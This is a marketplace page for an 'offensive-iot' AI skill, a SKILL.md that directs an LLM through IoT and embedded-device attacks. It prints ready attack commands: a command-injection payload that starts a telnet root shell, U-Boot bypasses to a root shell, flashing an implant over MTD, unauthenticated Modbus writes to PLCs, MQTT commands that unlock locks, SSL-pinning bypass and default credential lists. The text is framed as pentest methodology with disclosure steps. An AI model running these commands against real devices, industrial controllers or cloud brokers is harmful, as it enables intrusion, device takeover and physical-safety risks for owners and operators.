Offensive Iot logo

Offensive Iot

CommunityPopular
SnailSploit
offensive-iot

IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-iot
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Iot AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/iot/offensive-iot .claude/skills/offensive-iot
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Iot in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Iot on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Iot is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

IoT & Embedded — Offensive Testing Methodology

Quick Workflow

  1. Recon the device physically — identify SoC, flash, debug interfaces, radios
  2. Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
  3. Unpack and analyze — filesystems, services, secrets, default creds, vuln components
  4. Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
  5. Pivot — to companion app, cloud API, neighboring devices via mesh / wireless

Hardware Reconnaissance

PCB Inspection

  • ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
  • ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
  • Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
  • Find test points labeled TX, RX, TCK, TMS, TDO, TDI, RST, BOOT

Tools

ToolUse
MultimeterIdentify GND, VCC rails before connecting
Logic analyzer (Saleae, DSLogic)Find UART baud, SPI clock, identify protocols
USB-UART (FT232, CP2102)UART console
Bus Pirate / GlasgowUART, SPI, I2C, JTAG generic
J-Link / Black Magic ProbeJTAG / SWD MCU debugging
CH341A programmerCheap SPI flash dumper
XGecu T48Modern universal programmer (NAND/eMMC/SPI)
ChipQuik / hot-airChip-off desolder

UART Discovery

bash
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "=== $b ==="
  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.

Bootloader Console Drop

# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot:  0
=> printenv                   # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot                       # Linux comes up to root shell, no login

If U-Boot is locked, try:

  • CONFIG_DELAY_AUTOBOOT_KEYED keyword (vendor-specific)
  • Ctrl+C / Ctrl+B / specific magic strings
  • Glitch the U-Boot version-check / signature-check (see Fault Injection)

Flash Dumping

SPI NOR (most common consumer IoT)

bash
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin

# Verify
file firmware.bin && binwalk firmware.bin

If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.

eMMC / NAND

eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.

NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.

OTA Capture

Many devices fetch firmware over HTTP(S). MITM the device:

bash
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS

Capture the URL, download directly, dissect.


Firmware Analysis

Initial Triage

bash
binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"

Filesystem Mounting

bash
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin

# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs

Embedded-Linux Quick Wins

bash
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"

# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/

# Setuid binaries
find rootfs -perm -4000 -type f

# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "

# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"

CGI / Web Admin Auditing

GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.

bash
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

Common patterns:

  • system() / popen() with concatenated query string args
  • sprintf then system — easy command injection
  • Auth check via comparing cookie to plaintext file (race / replay)

Runtime Exploitation

Console / Telnet Default Creds

Try (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.

Web Admin Command Injection

http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;

MTD Writes (re-flash from runtime)

If you have a root shell:

bash
cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin

/dev/mem

On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.


Bootloader / Secure Boot Attacks

U-Boot Quick Bypasses

  • setenv bootargs ${bootargs} init=/bin/sh
  • setenv preboot 'echo 1 > /sys/...' (run command before kernel)
  • tftpboot — load attacker kernel from network
  • bootm of a memory-resident image you loadb-uploaded over UART

Secure Boot

Modern devices verify signed bootloaders / kernels. Bypass paths:

  • Downgrade: flash an older signed image with known kernel-level CVE
  • Rollback bypass: anti-rollback fuses not blown → flash older signed
  • Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
  • Fault injection: glitch the signature-check instruction (see below)

Fault Injection (Voltage / Clock Glitching)

Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image

RTOS Targets

RTOSNotes
FreeRTOSSingle binary, no MMU often → stack overflow → straight RIP control
ZephyrMMU/MPU optional; verify isolation actually enabled
ThreadXMicrosoft now, mostly closed
MicroEJ / Mbed OSJava/C mix — type confusion and JNI bridges
ESP-IDF (Espressif)Wi-Fi/BLE stacks, OTA chain, secure boot v2
QNXOlder versions: pdebug shell on serial = root

MCU Reverse Engineering

bash
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
  -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)

Wireless Protocols

Bluetooth Low Energy (BLE)

bash
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"

# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.

Zigbee / Thread / Matter

bash
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap

# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0

Touchlink commissioning: known transport key in the wild (0x9F559A553B7A6B2C…) — many consumer devices accept Touchlink commissioning from any nearby radio.

Z-Wave

S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with Z-Force / EZ-Wave.

LoRaWAN

  • ABP-provisioned devices: keys flashed once and never rotated
  • Join-request replay if frame counters reset
  • LoRaPWN, ChirpStack for analysis

Sub-GHz (433 / 868 / 915 MHz)

bash
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A   # auto-decoder for many devices
gqrx                     # interactive

# Capture, analyze in Inspectrum, replay with hackrf_transfer

Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.


ICS / OT Protocols

Modbus

python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol

BACnet (Building Automation)

bash
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments

OPC-UA

Modern OPC-UA has security profiles; many deployments use None for compatibility. Test:

  • Anonymous browsing of address space (information disclosure)
  • Username/password endpoints with weak creds
  • Cert-based but with self-signed accepted

S7 (Siemens)

Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.


MQTT / CoAP

MQTT Anonymous Subscribe

bash
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'

Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe #, replay device commands.

CoAP

bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'

DTLS often misconfigured (PSK in firmware, no rotation).


Companion Mobile App / Cloud API

Most IoT vulns today live in the cloud + companion app pair, not the device itself.

bash
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk

# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/

# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app

Test the cloud API for:

  • Device claim by serial number alone (steal devices already shipped)
  • IDOR on /devices/<id> endpoints
  • Live-stream URLs without auth (RTSP / WebRTC tokens)
  • Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)

Pivoting Across Devices

  • Compromise one device on the LAN → ARP/DHCP poison neighbors
  • Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
  • BLE central role swap → talk directly to peripherals as the legitimate hub
  • Cloud account compromise → all devices linked to the account simultaneously

Reporting Hooks

For each finding capture:

  • Affected scope: model, firmware version, region, serial-number range if known
  • Reproducer: physical or remote, time-to-exploit
  • Pre-conditions: physical access? same network? authenticated cloud account?
  • Post-conditions: persistent? cross-device? cloud-side?
  • Vendor disclosure path: PSIRT contact, ICS-CERT, MITRE for CVE assignment

Engagement Checklist

[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure

Key References

Frequently asked questions

What does the Offensive Iot AI skill do?

IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA ex...

Why use Offensive Iot on TypingMind?

Because you install it once and use it with any model. Offensive Iot is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Iot in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/iot/offensive-iot. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Iot?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Iot?

As many as you like. As long as a model supports skills, you can use Offensive Iot with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Iot AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇